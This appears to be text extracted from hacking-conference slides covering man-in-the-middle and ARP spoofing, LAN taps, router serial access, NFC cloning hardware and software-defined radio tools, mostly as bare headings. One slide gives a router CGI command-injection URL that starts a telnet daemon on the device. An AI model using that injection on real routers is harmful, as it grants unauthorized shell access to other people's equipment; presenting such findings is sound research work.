
the Constitution of a Basic Intrusion System





Man-in-the-Middle Attack 



ARP Spoofing (ARP )



Lan Tap
a small, simple device for monitoring 

Ethernet communications

the quieter you become, the more you are able to hear



• RJ45 
connector 

• T568B Pair





Lan Tap



Lan Tap



WiFi router



http://192.168.99.1/cgi-bin/luci/;stok=XXXXXXXX/admin/wifi_home 

newwifi/comcmd?cmd=busybox telnet -p 23|mfg2 telnet 1 

newwifi/comcmd?cmd=busybox%20telnetd%20-p%2023|mfg2%20telnet%201

CGI vulnerability



Add TTL Serial Plug



Add TTL Serial Plug







NFC Hacking
RDM 8800 = Arduino + PN532



NFC Hacking
RDM 8800 = Arduino + PN532





RDM 8800 = Arduino + PN532





SDR
Software Defined Radio



RTL2832U
USB DVB-T & RTL-SDR Realtek 

RTL2832U & R820T



HackRF
•  SDR peripheral capable of 

transmission or reception of radio 
signals from 1 MHz to 6 GHz.  

• Designed to enable test and 
development of modern and next 
generation radio technologies 

• HackRF One is an open source 
hardware platform that can be used 
as a USB peripheral or programmed 
for stand-alone operation.



Dump 1090
ADS-B 

open-source software 

a Mode S decoder specifically 
designed for RTLSDR devices.







Antenna
L ≈ C  F * 0.96 



Antenna
L ≈ C  F * 0.96 



• Beaglebone 

• RTL8187 

• Arduino











QQ: 453045669 
Blog: S1NH.COM

Thanks for your listening

the quieter you become, the more you are able to hear


